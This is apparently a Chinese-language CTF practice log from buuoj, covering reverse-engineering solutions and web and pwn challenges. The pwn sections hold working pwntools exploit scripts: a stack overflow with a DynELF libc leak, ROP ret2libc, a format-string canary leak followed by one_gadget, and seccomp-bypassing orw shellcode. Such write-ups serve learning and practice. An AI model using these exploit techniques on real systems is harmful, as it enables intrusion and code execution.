在buuoj的刷题记录

[rev][GKCTF 2021]QQQQT

exeinfope扫一下,有Enigma Virtual Box壳,搜索enigma Virtual Box unpacker,得到https://lifeinhex.com/tag/unpacker/

可以查看按钮监听事件,找到

.rdata:004044FC ??_7MainWindow@@6B@ dd offset sub_401A90
.rdata:004044FC                                         ; DATA XREF: main+3D↑o
.rdata:004044FC                                         ; sub_401120+8↑o ...
.rdata:00404500                 dd offset sub_401B10
.rdata:00404504                 dd offset sub_401AB0
.rdata:00404508                 dd offset loc_401180
.rdata:0040450C                 dd offset ?event@QMainWindow@@MAE_NPAVQEvent@@@Z ; QMainWindow::event(QEvent *)
.rdata:00404510                 dd offset ?eventFilter@QObject@@UAE_NPAV1@PAVQEvent@@@Z ; QObject::eventFilter(QObject *,QEvent *)
.rdata:00404514                 dd offset ?timerEvent@QObject@@MAEXPAVQTimerEvent@@@Z ; QObject::timerEvent(QTimerEvent *)
.rdata:00404518                 dd offset ?childEvent@QObject@@MAEXPAVQChildEvent@@@Z ; QObject::childEvent(QChildEvent *)
.rdata:0040451C                 dd offset ?customEvent@QObject@@MAEXPAVQEvent@@@Z ; QObject::customEvent(QEvent *)
.rdata:00404520                 dd offset ?connectNotify@QObject@@MAEXABVQMetaMethod@@@Z ; QObject::connectNotify(QMetaMethod const &)
.rdata:00404524                 dd offset ?disconnectNotify@QObject@@MAEXABVQMetaMethod@@@Z ; QObject::disconnectNotify(QMetaMethod const &)
.rdata:00404528                 dd offset ?setVisible@QWidget@@UAEX_N@Z ; QWidget::setVisible(bool)
.rdata:0040452C                 dd offset ?sizeHint@QWidget@@UBE?AVQSize@@XZ ; QWidget::sizeHint(void)
.rdata:00404530                 dd offset ?minimumSizeHint@QWidget@@UBE?AVQSize@@XZ ; QWidget::minimumSizeHint(void)
.rdata:00404534                 dd offset ?heightForWidth@QWidget@@UBEHH@Z ; QWidget::heightForWidth(int)

在三个函数下断点,直到点击按钮时断下即可

查看主要加密函数,base58

QLineEdit::text(*(_DWORD *)(this[6] + 4), v15);
  v25 = 0;
  QString::toLatin1(v15, v16);
  LOBYTE(v25) = 1;
  v18 = QByteArray::data((QByteArray *)v16);
  v23[0] = 0i64;
  v23[1] = 0i64;
  v24 = 0i64;
  strcpy(v22, "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz");
  v20 = 138 * strlen(v18) / 0x64;
  v13 = v20 + 1;
  v1 = 0;
  v21 = malloc(v20 + 1);
  v2 = v21;
  memset(v21, 0, v13);
  v3 = v18;
  v19 = (int)(v18 + 1);
  if ( strlen(v18) )
  {
    v4 = &v2[v20];
    v17 = v4;
    while ( 1 )
    {
      v19 = ((char)*v4 << 8) + v3[v1];
      v5 = v19 / 58;
      *v4 = v19 % 58;
      if ( v5 )
      {
        do
        {
          v6 = (char)*--v4;
          v7 = (v6 << 8) + v5;
          v19 = v7 / 58;
          *v4 = v7 % 58;
          v5 = v19;
        }
        while ( v19 );
        v4 = v17;
      }
      if ( ++v1 >= strlen(v18) )
        break;
      v3 = v18;
    }
    v2 = v21;
  }
  v8 = 0;
  if ( !*v2 )
  {
    do
      ++v8;
    while ( !v2[v8] );
  }
  v9 = v20;
  if ( v8 <= v20 )
  {
    v10 = v2 - (_BYTE *)v23;
    do
    {
      v11 = (char *)v23 + v8++;
      *v11 = v22[(char)v11[v10]];
    }
    while ( v8 <= v9 );
  }
  if ( !qstrcmp((const char *)v23, "56fkoP8KhwCf3v7CEz") )
  {
    if ( v18 )
      v12 = strlen(v18);
    else
      v12 = -1;
    v21 = (_BYTE *)QString::fromAscii_helper(v18, v12);
    LOBYTE(v25) = 2;
    v20 = QString::fromAscii_helper("flag", 4);
    LOBYTE(v25) = 3;
    QMessageBox::warning(this, &v20, &v21, 1024, 0);
    QString::~QString((QString *)&v20);
    QString::~QString((QString *)&v21);
  }

[rev][GKCTF 2021]Crash

go程序https://github.com/sibears/IDAGolangHelper

第一阶段三重DES加密

crypto_des_NewTripleDESCipher(a1, a2, a3, a10, a5, a6, a10, 24LL, a12);

有个json字符串储存key和iv

.noptrdata:0000000000608840 aKeyWelcometoth db '{',0Dh,0Ah          ; DATA XREF: .data:off_61E540↓o
.noptrdata:0000000000608840                 db '    "key": "WelcomeToTheGKCTF2021XXX",',0Dh,0Ah
.noptrdata:0000000000608840                 db '    "iv": "1Ssecret"',0Dh,0Ah
.noptrdata:0000000000608840                 db '}',0

key=WelcomeToTheGKCTF2021XXX iv=1Ssecret 比对位于

runtime_memequal(a1, a2, v9, (unsigned int)&aOAwpjnnxmpzdnj, v10, v11);

结果应该是base64编码

o/aWPjNNxMPZDnJlNp0zK5+NLPC4Tv6kqdJqjkL0XkA=

解密得到 87f645e9-b628-412f-9d7a-

后面的代码必须查看汇编代码

.text:0000000000514770                 call    Encrypt_HashHex2 ; sha256
.text:0000000000514775                 mov     rax, [rsp+78h+var_60]
.text:000000000051477A                 mov     rcx, [rsp+78h+var_58]
.text:000000000051477F                 nop
.text:0000000000514780                 cmp     rcx, 40h ; '@'
.text:0000000000514784                 jz      short loc_514798
.text:0000000000514786
.text:0000000000514786 loc_514786:                             ; CODE XREF: main_check+137↓j
.text:0000000000514786                 mov     [rsp+78h+arg_10], 0
.text:000000000051478E                 mov     rbp, [rsp+78h+var_8]
.text:0000000000514793                 add     rsp, 78h
.text:0000000000514797                 retn
.text:0000000000514798 ; ---------------------------------------------------------------------------
.text:0000000000514798
.text:0000000000514798 loc_514798:                             ; CODE XREF: main_check+104↑j
.text:0000000000514798                 mov     [rsp+78h+var_78], rax
.text:000000000051479C                 lea     rax, a6e2b55c78937d6 ; "6e2b55c78937d63490b4b26ab3ac3cb54df4c5c"...
.text:00000000005147A3                 mov     [rsp+78h+var_70], rax
.text:00000000005147A8                 mov     [rsp+78h+var_68], rcx
.text:00000000005147AD                 call    runtime_memequal
.text:00000000005147B2                 cmp     byte ptr [rsp+78h+var_60], 0
.text:00000000005147B7                 jz      short loc_514786
.text:00000000005147B9                 mov     rdx, [rsp+78h+len]
.text:00000000005147C1                 cmp     rdx, 26h ; '&'
.text:00000000005147C5                 jb      loc_5148E8
.text:00000000005147CB                 lea     rax, [rsp+78h+var_28]
.text:00000000005147D0                 mov     [rsp+78h+var_78], rax
.text:00000000005147D4                 mov     rax, [rsp+78h+input2]
.text:00000000005147DC                 lea     rcx, [rax+22h]
.text:00000000005147E0                 mov     [rsp+78h+var_70], rcx
.text:00000000005147E5                 mov     [rsp+78h+var_68], 4
.text:00000000005147EE                 call    runtime_stringtoslicebyte
.text:00000000005147F3                 mov     rax, [rsp+78h+var_60]
.text:00000000005147F8                 mov     rcx, [rsp+78h+var_58]
.text:00000000005147FD                 mov     rdx, [rsp+78h+var_50]
.text:0000000000514802                 mov     [rsp+78h+var_78], rax
.text:0000000000514806                 mov     [rsp+78h+var_70], rcx
.text:000000000051480B                 mov     [rsp+78h+var_68], rdx
.text:0000000000514810                 call    Encrypt_HashHex5  sha512
.text:0000000000514815                 mov     rax, [rsp+78h+var_60]
.text:000000000051481A                 mov     rcx, [rsp+78h+var_58]
.text:000000000051481F                 nop
.text:0000000000514820                 cmp     rcx, 80h
.text:0000000000514827                 jz      short loc_51483B
.text:0000000000514829
.text:0000000000514829 loc_514829:                             ; CODE XREF: main_check+1DA↓j
.text:0000000000514829                 mov     [rsp+78h+arg_10], 0
.text:0000000000514831                 mov     rbp, [rsp+78h+var_8]
.text:0000000000514836                 add     rsp, 78h
.text:000000000051483A                 retn
.text:000000000051483B ; ---------------------------------------------------------------------------
.text:000000000051483B
.text:000000000051483B loc_51483B:                             ; CODE XREF: main_check+1A7↑j
.text:000000000051483B                 mov     [rsp+78h+var_78], rax
.text:000000000051483F                 lea     rax, a6500fe72abcab6 ; "6500fe72abcab63d87f213d2218b0ee086a1828"...
.text:0000000000514846                 mov     [rsp+78h+var_70], rax
.text:000000000051484B                 mov     [rsp+78h+var_68], rcx
.text:0000000000514850                 call    runtime_memequal
.text:0000000000514855                 cmp     byte ptr [rsp+78h+var_60], 0
.text:000000000051485A                 jz      short loc_514829
.text:000000000051485C                 mov     rdx, [rsp+78h+len]
.text:0000000000514864                 cmp     rdx, 2Ah ; '*'
.text:0000000000514868                 jb      short loc_5148DE
.text:000000000051486A                 mov     rax, [rsp+78h+input2]
.text:0000000000514872                 add     rax, 26h ; '&'
.text:0000000000514876                 mov     [rsp+78h+var_78], rax
.text:000000000051487A                 mov     [rsp+78h+var_70], 4
.text:0000000000514883                 call    main_hash ; md5
.text:0000000000514888                 mov     rax, [rsp+78h+var_60]
.text:000000000051488D                 mov     rcx, [rsp+78h+var_68]
.text:0000000000514892                 cmp     rax, 20h ; ' '
.text:0000000000514896                 jz      short loc_5148AA
.text:0000000000514898
.text:0000000000514898 loc_514898:                             ; CODE XREF: main_check+24A↓j
.text:0000000000514898                 mov     [rsp+78h+arg_10], 0
.text:00000000005148A0                 mov     rbp, [rsp+78h+var_8]
.text:00000000005148A5                 add     rsp, 78h
.text:00000000005148A9                 retn
.text:00000000005148AA ; ---------------------------------------------------------------------------
.text:00000000005148AA
.text:00000000005148AA loc_5148AA:                             ; CODE XREF: main_check+216↑j
.text:00000000005148AA                 mov     [rsp+78h+var_78], rcx
.text:00000000005148AE                 lea     rcx, byte_54E0D6
.text:00000000005148B5                 mov     [rsp+78h+var_70], rcx
.text:00000000005148BA                 mov     [rsp+78h+var_68], rax
.text:00000000005148BF                 nop
.text:00000000005148C0                 call    runtime_memequal
.text:00000000005148C5                 cmp     byte ptr [rsp+78h+var_60], 0
.text:00000000005148CA                 jz      short loc_514898
.text:00000000005148CC                 mov     [rsp+78h+arg_10], 1
.text:00000000005148D4                 mov     rbp, [rsp+78h+var_8]
.text:00000000005148D9                 add     rsp, 78h
.text:00000000005148DD                 retn

使用python穷举一下,itertools很快

from Crypto.Cipher import DES3

des=DES3.new(key=b'WelcomeToTheGKCTF2021XXX',iv=b'1Ssecret',mode=DES3.MODE_CBC)
import base64
import hashlib
import itertools
r=des.decrypt(base64.b64decode(b'o/aWPjNNxMPZDnJlNp0zK5+NLPC4Tv6kqdJqjkL0XkA='))
print(len(r),r)

sha256_str='6e2b55c78937d63490b4b26ab3ac3cb54df4c5ca7d60012c13d2d1234a732b74'
sha512_str='6500fe72abcab63d87f213d2218b0ee086a1828188439ca485a1a40968fd272865d5ca4d5ef5a651270a52ff952d955c9b757caae1ecce804582ae78f87fa3c9c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f0011839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd166506864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151686479766013060971498190079908139321726943530014330540939446345918554318339765539424505774633321719753296399637136332111386476861244038034037280889270700544900010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899'[:128]
md5_str='ff6e2fd78aca4736037258f0ede4ecf0'
print(hashlib.sha512(b'00').hexdigest())

tab='0123456789abcdef'
sha256_ok=False
sha512_ok=False
md5_ok=False
for i in itertools.product(tab,repeat=4):
    s=''.join(i).encode()
    if not sha256_ok and hashlib.sha256(s).hexdigest()==sha256_str:
        print('sha256:',s)
        sha256_ok=True
    if not sha512_ok and hashlib.sha512(s).hexdigest()==sha512_str:
        print('sha512:',s)
        sha512_ok=True
    if not md5_ok and hashlib.md5(s).hexdigest()==md5_str:
        print('md5:',s)
        md5_ok=True
    if sha256_ok and sha512_ok and md5_ok:break
# GKCTF{87f645e9-b628-412f-9d7a-e402f20af940}

[rev][XNUCA2018]Code_Interpreter

虚拟机,解析之后使用z3即可

import struct

def decompile(code):

    ip=0
    esp=2
    data_seg=[0]*256
    regs=[0]*256
    # regs[7]=0,[6]=2,[5]=0
    while ip<len(code):
        op=code[ip]
        s=''
        if op==0:
            print(len(code)-ip)
            break
        elif op==1:
            data_seg[esp]=struct.unpack('<I',code[ip+1:ip+5])[0]
            esp+=1
            s='data_seg[%d]=0x%x'%(esp,struct.unpack('<I',code[ip+1:ip+5])[0])
            ip+=5
        elif op==2:
            esp-=1
            s='esp-=1'
            ip+=1
        elif op==3:
            regs[code[ip+1]]+=regs[code[ip+2]]
            s='regs[%d]+=regs[%d]'%(code[ip+1],code[ip+2])
            ip+=3
        elif op==4:
            regs[code[ip+1]]-=code[ip+2]
            s='regs[%d]-=regs[%d]'%(code[ip+1],code[ip+2])
            ip+=3
        elif op==5:
            regs[code[ip+1]]*=code[ip+2]
            s='regs[%d]*=%d'%(code[ip+1],code[ip+2])
            ip+=3
        elif op==6:
            regs[code[ip+1]]>>=code[ip+2]
            s='regs[%d]>>=%d'%(code[ip+1],code[ip+2])
            ip+=3
        elif op==7:
            regs[code[ip+1]]=regs[code[ip+2]]
            s='regs[%d]=regs[%d]'%(code[ip+1],code[ip+2])
            ip+=3
        elif op==8:
            regs[code[ip+1]]=data_seg[code[ip+2]]
            s='regs[%d]+=data_seg[regs[7]+%d]'%(code[ip+1],code[ip+2])
            ip+=3
        elif op==9:
            regs[code[ip+1]]^=code[ip+2]
            s='regs[%d]^=regs[%d]'%(code[ip+1],code[ip+2])
            ip+=3
        elif op==10:
            regs[code[ip+1]]|=code[ip+2]
            s='regs[%d]|=regs[%d]'%(code[ip+1],code[ip+2])
            ip+=3
        else:
            print('error op code')
            exit(1)
        print('%x'%ip,s)
decompile(open('code','rb').read())

# regs[1]=0
from z3 import *
x,y,z=BitVec('x',32),BitVec('y',32),BitVec('z',32)

s=Solver()
s.add(
    ((x>>4)*21-z-0x1d7ecc6b)|
    ((z>>8)*3+y-0x6079797c)|
    ((x>>8)+y-0x5fbcbdbd)==0
)
s.add(x&0xff==94)
s.add(y&0xff0000==0x5E0000)
s.add(z&0xff==94)
print(s.check())

m=s.model()
print('X-NUCA{%x%x%x}'%(m[x].as_long(),m[y].as_long(),m[z].as_long()))

[rev][WMCTF2020]easy_apk

前面的字符串是string_fog加密https://github.com/MegatronKing/StringFog

check逻辑在libnative-lib.so,Java层有一些反调试,Patch掉smali源码即可

查看JNI_OnLoad

jint JNI_OnLoad(JavaVM *vm, void *reserved)
{
  //...

  v8 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
  if ( !(*vm)->GetEnv(vm, (void **)&v4, 65542LL) )
  {
    //...
    (*v4)->RegisterNatives(v4, v2, (const JNINativeMethod *)methods, 1LL);
  }
  return 65542;
}

method信息

.data:0000000000046008 methods         DCQ aCheck              ; DATA XREF: LOAD:0000000000002220↑o
.data:0000000000046008                                         ; .got:methods_ptr↑o
.data:0000000000046008                                         ; "check"
.data:0000000000046010                 DCQ aLjavaLangStrin     ; "(Ljava/lang/String;)Z"
.data:0000000000046018                 DCQ check
.data:0000000000046020                 DCQ __gxx_personality_v0
.data:0000000000046028                 EXPORT __cxa_terminate_handler

加密算法在10ce8,在此之前有几个反调试

__int64 sub_DFD4()
{
  //...

  v5 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
  memcpy(dest, "/data/local/su", sizeof(dest));
  v0 = 0LL;
  while ( 1 )
  {
    v1 = v0 + 30;
    if ( v0 == 300 )
      break;
    v2 = fopen(&dest[v0], "r");
    v0 = v1;
    if ( v2 )
      return 1LL;
  }
  return 0LL;
}

查看su反调试。E074也有个反调试,似乎是读取某个特定文件

一旦检测到调试,则获取pid并kill

if ( (unsigned int)sub_E074((__int64)input_3, (__int64)input_2) )
  {
    v8 = get_pid();
    kill_pid9(v8, 9);
  }
  if ( (check_su() & 1) != 0 )                  // check_su
  {
    v9 = get_pid();
    kill_pid9(v9, 9);
  }

因此可以patch掉kill逻辑

.text:000000000000D994 kill_pid9                               ; CODE XREF: sub_E260+150↓p
.text:000000000000D994                                         ; .text:000000000000E45C↓p ...
.text:000000000000D994 ; __unwind {
.text:000000000000D994                 RET
.text:000000000000D998 ; ---------------------------------------------------------------------------
.text:000000000000D998                 SVC             0
.text:000000000000D99C                 CMN             X0, #1,LSL#12
.text:000000000000D9A0                 CINV            X0, X0, HI
.text:000000000000D9A4                 B.HI            sub_10E94
.text:000000000000D9A8                 RET
.text:000000000000D9A8 ; } // starts at D994

然后查看加密算法10ce8,使用了一个常量序列0x3E 0x72 0x5B 0x47 0xCA 0xE0 ...搜索一下,发现是ZUC祖冲之序列密码算法。既然是序列密码,既可以调试出秘钥和IV,也可以把明文改为密文输入

找到密文

[0x17, 0x83, 0x1, 0x69, 0xd9, 0xd9, 0x0, 0x37, 0xe4, 0xac, 0x63, 0xbc, 0x7d, 0x8e, 0x4c, 0xc9, 0x6c, 0xc1, 0x95, 0x8d, 0xf4, 0xaa, 0xf2, 0x86, 0x96, 0xb8, 0xfc, 0x59, 0x19, 0xf0, 0x5d, 0x3a]

使用IDA调试,安装后还是闪退,说明还是有反调试,Java层已经patch好了,那么只有native层,几个加载函数init_proc和init_array。最后发现是illegalState异常,也就是说是打包问题

只能静态分析,发现E074是AES加密,有AES特征码

__int64 __fastcall sub_E074(__int64 a1, __int64 a2)
{
  //...

  v23 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
  v22[0] = unk_293C4;
  v22[1] = unk_293D4;
  v4 = getpid();
  v5 = (char *)operator new[](0x14uLL);
  v19 = xmmword_29424;
  v20 = 0x8E0000008CLL;
  clear_nzero(v13, (__int64)&v19, 6);
  v6 = sub_DA24((int8x8_t *)v14, v4);
  strcat(v5, v13, v6);
  v18[0] = xmmword_293E4;
  *(_OWORD *)((char *)v18 + 12) = *(__int128 *)((char *)&xmmword_293E4 + 12);
  clear_nzero(v12, (__int64)v18, 7);
  strcat(v5, v5, v12);
  v7 = fopen(v5, "r");
  if ( !v7 )
    return 0;
  v8 = v7;
  v9 = set_ns(32LL);
  if ( feof(v8) )
    return 0;
  while ( 1 )
  {
    fgets(s, 128, v8);
    v16[1] = xmmword_29410;
    v17 = 106;
    v16[0] = xmmword_29400;
    clear_nzero(a2a, (__int64)v16, 9);
    if ( str_prifix_cmp(s, a2a) )               // 如果是前缀则返回str1,否则返回0
      break;
    if ( feof(v8) )
      return 0;
  }
  v10 = atoi(&s[10]);
  fclose(v8);
  AES((__int64)v22, (__int64)v9); // key init
  if ( *(_BYTE *)(a2 + 8) )
  {
    *(_BYTE *)(a2 + 8) = v10;
    sub_F8E0(a2, a1, v9); // encrypt
  }
  return v10;
}

TODO

[web] [极客大挑战 2019]Http

首先查看源码或抓包,在卖鞋场那里找到了一个隐藏的按钮Secret.php

进入之后说需要从https://www.buuoj.Sycsecret.com%E8%AE%BF%E9%97%AE%EF%BC%8C%E8%BF%99%E9%87%8C%E5%8A%A0%E4%B8%80%E4%B8%AAReferer%E5%AD%97%E6%AE%B5%E3%80%82referer%E5%B8%B8%E7%94%A8%E7%9A%84%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF%E6%98%AF%E7%BB%9F%E8%AE%A1%E6%B5%81%E9%87%8F%E6%9D%A5%E6%BA%90%E3%80%82

然后说让用Syclover浏览器,就改UA的第一个为Syclover

最后是需要从本地访问,改X-Forwarded-For为127.0.0.1

[pwn]jarvisoj_level4

使用DynELF泄露libc地址

from pwn import *
f='./level4'
context.arch='i386'
# p=remote('node4.buuoj.cn',27590)
p=process(f)
# # p=gdb.debug(f)
elf=ELF(f)
# vuln_func=elf.sym['vulnerable_function']
vuln_func=0x8048350
write_plt=elf.plt['write']
print(hex(write_plt),hex(vuln_func))
write_got=elf.got['write']

def leak(addr):
    payload=b'a'*0x88+b'a'*4+p32(write_plt)+p32(vuln_func)+p32(1)+p32(addr)+p32(4)
    p.sendline(payload)
    r=p.recv(4)
    return r
d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
read_addr=elf.plt['read']
bss_addr=0x0804a024
payload=b'a'*0x88+b'a'*4+p32(read_addr)+p32(vuln_func)+p32(0)+p32(bss_addr)+p32(8)
p.send(payload)
p.send(b'/bin/sh\x00')
payload=b'a'*0x88+b'a'*4+p32(sys_addr)+p32(0)+p32(bss_addr)
p.send(payload)
p.sendline('ls')
p.interactive()

[pwn]jarvisoj_level3_x64

from pwn import *
from LibcSearcher import LibcSearcher
f='./level3'
context.arch='amd64'
p=remote('node4.buuoj.cn',29328)
# p=process(f)
# # p=gdb.debug(f)
elf=ELF(f)
vuln_func=elf.sym['vulnerable_function']
write_plt=elf.plt['write']
# print(hex(write_plt),hex(vuln_func))
write_got=elf.got['write']
prdi=0x00000000004006b3
prsip=0x00000000004006b1
p.recvuntil(b'Input:\n')
pad=b'a'*0x88
payload=pad+p64(prdi)+p64(1)+p64(prsip)+p64(write_got)+p64(0)+p64(write_plt)+p64(vuln_func)
p.send(payload)
r=p.recv(8)
print(r,len(r))
write_addr=u64(r)
info('write addr: 0x016%x'%write_addr)
libc=LibcSearcher('write',write_addr)
libc.select_libc(8)
libc_base=write_addr-libc.dump('write')
sys_addr=libc.dump('system')+libc_base
sh_addr=libc.dump('str_bin_sh')+libc_base
p.recvuntil(b'Input:\n')
payload=pad+p64(prdi)+p64(sh_addr)+p64(sys_addr)
p.send(payload)
p.interactive()

[pwn]bjdctf_2020_babyrop2

gift中存在格式化字符串漏洞

[0x00400814]> pdf
            ; CALL XREF from main @ 0x400900
/ 115: sym.gift ();
|           ; var char *format @ rbp-0x10
|           ; var int64_t canary @ rbp-0x8
|           0x00400814      55             push rbp
|           0x00400815      4889e5         mov rbp, rsp
|           0x00400818      4883ec10       sub rsp, 0x10
|           0x0040081c      64488b042528.  mov rax, qword fs:[0x28]
|           0x00400825      488945f8       mov qword [canary], rax
|           0x00400829      31c0           xor eax, eax
|           0x0040082b      bfe0094000     mov edi, str.Ill_give_u_some_gift_to_help_u_ ; 0x4009e0 ; "I'll give u some gift to help u!" ; const char *s
|           0x00400830      e8dbfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400835      488d45f0       lea rax, [format]
|           0x00400839      4889c6         mov rsi, rax
|           0x0040083c      bf010a4000     mov edi, 0x400a01           ; const char *format
|           0x00400841      b800000000     mov eax, 0
|           0x00400846      e835feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x0040084b      488d45f0       lea rax, [format]
|           0x0040084f      4889c7         mov rdi, rax                ; const char *format
|           0x00400852      b800000000     mov eax, 0
|           0x00400857      e8d4fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0040085c      bf050a4000     mov edi, 0x400a05           ; const char *s
|           0x00400861      e8aafdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400866      bf00000000     mov edi, 0                  ; FILE *stream
|           0x0040086b      e8f0fdffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|           0x00400870      90             nop
|           0x00400871      488b45f8       mov rax, qword [canary]
|           0x00400875      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x0040087e      7405           je 0x400885
|       |   0x00400880      e89bfdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from sym.gift @ 0x40087e
|       `-> 0x00400885      c9             leave
\           0x00400886      c3             ret

vuln中有缓冲区溢出漏洞

; CALL XREF from main @ 0x40090a
/ 83: sym.vuln ();
|           ; var void *buf @ rbp-0x20
|           ; var int64_t canary @ rbp-0x8
|           0x00400887      55             push rbp
|           0x00400888      4889e5         mov rbp, rsp
|           0x0040088b      4883ec20       sub rsp, 0x20
|           0x0040088f      64488b042528.  mov rax, qword fs:[0x28]
|           0x00400898      488945f8       mov qword [canary], rax
|           0x0040089c      31c0           xor eax, eax
|           0x0040089e      bf080a4000     mov edi, str.Pull_up_your_sword_and_tell_me_u_story_ ; 0x400a08 ; "Pull up your sword and tell me u story!" ; const char *s
|           0x004008a3      e868fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004008a8      488d45e0       lea rax, [buf]
|           0x004008ac      ba64000000     mov edx, 0x64               ; 'd' ; 100 ; size_t nbyte
|           0x004008b1      4889c6         mov rsi, rax                ; void *buf
|           0x004008b4      bf00000000     mov edi, 0                  ; int fildes
|           0x004008b9      b800000000     mov eax, 0
|           0x004008be      e87dfdffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x004008c3      90             nop
|           0x004008c4      488b45f8       mov rax, qword [canary]
|           0x004008c8      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x004008d1      7405           je 0x4008d8
|       |   0x004008d3      e848fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from sym.vuln @ 0x4008d1
|       `-> 0x004008d8      c9             leave
\           0x004008d9      c3             ret

思路:先格式化字符串漏洞泄漏canary,然后缓冲区溢出漏洞拿shell

from pwn import *

pname='./babyrop2'
# context.log_level='debug'
# p=process(pname)
p=remote('node4.buuoj.cn',29677)
# p=gdb.debug(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu//libc-2.23.so')
gift_addr=elf.sym['gift']
vuln_addr=elf.sym['vuln']
# print(elf.got)
puts_plt=0x00400610
lsm_got=elf.got['__libc_start_main']
p.recvuntil(b'I\'ll give u some gift to help u!')
p.send(b'%7$p\n')
r=p.recv(16)
r=p.recv(18)
# print(r)
canary=int(r[2:],base=16)
info('canary:0x%x'%canary)
prdi=0x400993
one_gadget=0x45226
pad=b'a'*0x18+p64(canary)+b'a'*0x8
payload=pad+p64(prdi)+p64(lsm_got)+p64(puts_plt)+p64(vuln_addr)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
p.send(payload)
r=p.recv(6)
lsm_addr=u64(r.ljust(8,b'\x00'))
info('lsm_addr:%016x'%lsm_addr)
libc_base=lsm_addr-libc.sym['__libc_start_main']
info('libc_base:%016x'%libc_base)
p.recvuntil(b'Pull up your sword and tell me u story!')
payload=pad+p64(one_gadget+libc_base)
p.sendline(payload)
p.interactive()

[pwn]pwnable_orw

$ checksec ./orw
[*] '/home/aloha/Downloads/orw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

在orw_seccomp中,有这个代码

|           0x08048503      83ec0c         sub esp, 0xc
|           0x08048506      6a00           push 0
|           0x08048508      6a00           push 0
|           0x0804850a      6a00           push 0                      ; unsigned long v3
|           0x0804850c      6a01           push 1                      ; 1 ; unsigned long v2
|           0x0804850e      6a26           push 0x26                   ; '&' ; 38 ; int option
|           0x08048510      e89bfeffff     call sym.imp.prctl          ; int prctl(int option, unsigned long v2,

查看官方文档https://man7.org/linux/man-pages/man2/prctl.2.html https://code.woboq.org/userspace/include/linux/prctl.h.html

也就是说,设置了PR_SET_NO_NEW_PRIVS后,调用线程就无法使用除了execve之外的系统调用运行新线程。

SECCOMP_MODE_FILTER只允许arg3列表中的系统调用,语义为Berkeley Packet Filter

关于过滤器可以查看这个https://zhuanlan.zhihu.com/p/363174561 https://docs.huihoo.com/doxygen/linux/kernel/3.7/include_2uapi_2linux_2filter_8h_source.html

实际上实现了一种沙盒机制,只允许open read write

from pwn import *

pn='./orw'
context.arch='i386'
elf=ELF(pn)
# p=process(pn)
p=remote('node4.buuoj.cn',28813)

code=shellcraft.open('/flag')
code+=shellcraft.read('eax','esp',100)
code+=shellcraft.write(1,'esp',100)
p.recvuntil(b'Give my your shellcode:')
sleep(0.2)
p.send(asm(code))

p.interactive()

[rev][SUCTF2019]Rev

看看字符串,有you lost sth, you win

https://www.52pojie.cn/thread-1039478-1-1.html

前面还有个退出条件

if ( v4 != 3 )
    _exit(v4);
  if ( v119 != 10 )
  {
    v14 = _except_get_jumpbuf_sp(Src);
    _exit(v14);
  }

影响v4的主要是上面的循环

while ( 1 )
  {
    v126[0] = (__int64)v86;
    sub_140002120(v86, v112);
    sub_140002120(v87, v113);
    v88 = v114;
    v89 = BYTE2(v114);
    v8 = *((_QWORD *)&v111 + 1);
    v126[0] = (__int64)v90;
    sub_140002120(v90, v86);
    sub_140002120(v91, v87);
    v92 = v88;
    v93 = v89;
    *(_QWORD *)&v94 = v8;
    *((_QWORD *)&v94 + 1) = v8;
    v97 = 0i64;
    v98 = 15i64;
    LOBYTE(v96) = 0;
    v95 = 0;
    sub_140001FC0(v86);
    v7 |= 4u;
    if ( v95 && v106.m256i_i8[24] )
      v9 = v94 != *(_OWORD *)&v106.m256i_u64[1];
    else
      v9 = v95 != v106.m256i_i8[24];
    if ( v98 >= 0x10 )
    {
      v10 = v96;
      if ( v98 + 1 >= 0x1000 )
      {
        v10 = (_BYTE *)*((_QWORD *)v96 - 1);
        if ( (unsigned __int64)(v96 - v10 - 8) > 0x1F )
          invalid_parameter_noinfo_noreturn();
      }
      j_j_free(v10);
    }
    v97 = 0i64;
    v98 = 15i64;
    LOBYTE(v96) = 0;
    sub_140001FC0(v90);
    if ( !v9 )
      break;
    if ( !v106.m256i_i8[24] )
      wassert(L"valid_", L"E:\\boost_1_69_0\\boost\\token_iterator.hpp", 0x3Bu);
    v11 = &Src[32 * v4];
    if ( v11 != (char *)Block )
    {
      v12 = Block;
      if ( v108[1] >= 0x10 )
        v12 = (void **)Block[0];
      sub_140002240(v11, v12, v108[0]);
    }
    ++v4;
    if ( !v106.m256i_i8[24] )
      wassert(L"valid_", L"E:\\boost_1_69_0\\boost\\token_iterator.hpp", 0x36u);
